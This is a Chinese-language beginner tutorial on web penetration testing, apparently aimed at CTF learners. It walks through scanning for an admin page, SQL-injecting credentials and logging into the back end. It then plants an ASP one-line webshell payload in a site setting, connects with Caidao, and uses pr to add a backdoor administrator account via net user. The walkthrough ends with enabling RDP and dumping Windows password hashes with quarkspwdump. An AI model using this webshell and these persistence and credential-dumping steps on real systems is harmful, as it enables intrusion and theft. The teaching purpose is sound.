本篇文章旨在给小白白们做一次有关web渗透的科普,其中涉及到的套路、工具可能在如今XX狗、XX盾当道的社会已不再适用,但是其中涉及的思想永远不会过时,其中的工具如菜刀等更是经典之作,即使发布已经10余年认识现在渗透测试网站的不可或缺的利器之一。
另:面向学生的CTF,出题者考虑到学生的实操能力,设计的web题,或者拿服务器找flag的大题大部分用本文介绍的思路、工具就能成功cpature the flag。
说明:作者已获题中出现网站授权,为避免敏感信息泄露,仍会采取打码措施,望学习本文的小伙伴们不要在未获授权、许可的情况下对他人网站进行渗透测试。
准备工作:
准备好以下工具:御剑、明小子、菜刀、pr、3389、cmd、quarkspwdump等
拿到一个网站,首先我们最容易想到的就是扫描目录。
最常用的工具是御剑,页面如图
在域名空格中输入我们测试的网站的域名,点击开始扫描即可
我们在结果中发现/admin,这疑似后台页面,双击该链接进入,看看判断是否正确
可以看到确实是后台登陆页面
找到后台登陆界面了,接下来我们就需要登陆的用户名和密码了,所以寻找用户名和密码就是我们下一步的工作
这一步我们用到的工具是Domain3.6,界面如图
点击SQL注入—》批量扫描注入点—》添加网址,输入网址
点击OK,然后点击批量分析注入点
得到结果如图
点击OK关闭弹窗,在注入点栏目下随机选择一条,右击选择“检测注入”
如图所示
点击“开始检测”,得到结果如图
点击“猜解表名”
在结果中选择admin
选中admin后点击猜解列名
得到结果如图
Username,password是我们需要的信息,所以在前面的方框中勾选,点击猜解内容,如下图
结果如下图,成功得到用户名和密
不过密码很明显是md5加密后的
我们在Md5在线解密网站中解密即可
得到结果,明文密码为admin888
现在有了用户名和密码,我们就返回后台登陆页面
输入信息后成功登陆
成功进入后台
接下来我们需要获取webshell,这一步仁者见仁智者见智,需要凭借个人的经验来多次尝试分析确定
此处仅提供个人思路
我们点击左侧的“系统设置管理”—》“网站信息配置”
在公司名称处将原信息删除,换成我们的一句话木马
“%><%Eval Request(Chr(35))%><%’
(解释:1.句首和句尾的引号用于闭合语句,2.Request()中的内容即连接菜刀时需要的密码,此处用的Chr(35)指的是ascii值为35的符号,即#,3.Eval Request()是asp一句话木马的常用格式)
点击保存设置
接下来的步骤是连接菜刀
打开菜刀,界面如图
在空白处右键,添加,在弹出框中输入地址及密码(之前说过为#
这里小白白们可能会问了,为什么地址后面的/inc/config.asp之前没有见过呢?
是这样的,这个网站用的是魅力企业网站管理系统(一个cms),我们可以在网上下到它的源码,可以看到它整个的目录结构,自然会明白我们修改的一句话的目录在/inc/config.asp
输入信息后点击添加,发现连接成功
注意:一般的CTF比赛,做到这个程度就可以在各个目录里找flag了,不过这次我们把整个渗透流程介绍完
接下来我们需要提权,那么就需要通过菜刀上传提权工具,这里上传的位置要选好,一般而言,c盘的子目录中的文件可执行的可能性较大
提权经典的搭配是cmd+3389+pr,我们这里就用这个组合,同时选定上传目录为C:\RECYCLER
直接将我们需要用到的工具pr,3389,cmd选中后拖进即可
可以看到已经上传成功
选中cmd,右击选择虚拟终端,打开如图所示页面
敲回车后开始输入我们的命令
来切换到我们提权工具所在的目录
我们开始使用pr创建用户,用法如图
注意,虽然pr “net user yale 888 /add”执行后提示命令成功完成,为了确认,我们可以输入pr “net user”确保确实成功添加该用户(用户名yale,密码888)
接下来我们尝试将yale添加到系统管理员组
同理,第二条命令是为了确保添加成功
既然添加成功了,我们接下来就开启3389
我们win+r,打开运行框后输入mstsc,打开远程桌面连接
在空白框中输入ip即可开始连接
点击连接后弹出认证界面,输入我们创建的用户名和密码
点击确定即可成功登陆
接下来我们需要想到这个问题:以后远程登陆难道及靠我们自己创建的帐号吗?要是哪天被管理员发现了,那怎么办,所以长久之计是在获取系统管理员的密码后删除自己创建的用户
那么,接下里我们要做的就是找到系统管理员的密码
我们这里用到的工具是quarksdump,还是和前三个工具一样,拖到菜刀里直接上传
我们在远程连接的服务器中打开cmd窗口
进入recycler目录看到工具已上传
输入quarkspwdump.exe回车后立刻弹出如下窗口
输入如图命令,回车即可得到
我们看到最下面一列是Administrators跟随的一串字符,这其实也是一串hash加密过的密码值(Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值),解密得到
密码为cu9e2cgw
渗透测试结束。
总结:我们这次的演示是一次典型的渗透测试的过程,主要思路为
扫后台—找注入点获取后台登陆密码—上传一句话木马—菜刀连接—提权—拿服务器获取系统管理员密码
用到的工具有:御剑、明小子、菜刀、pr、3389、cmd、quarkspwdump等
本文仅做技术分享及普及渗透流程之用,如有人企图以此来进行不合法的渗透等破坏网络安全的行为与本文作者及合天智汇无任何关系。特此声明。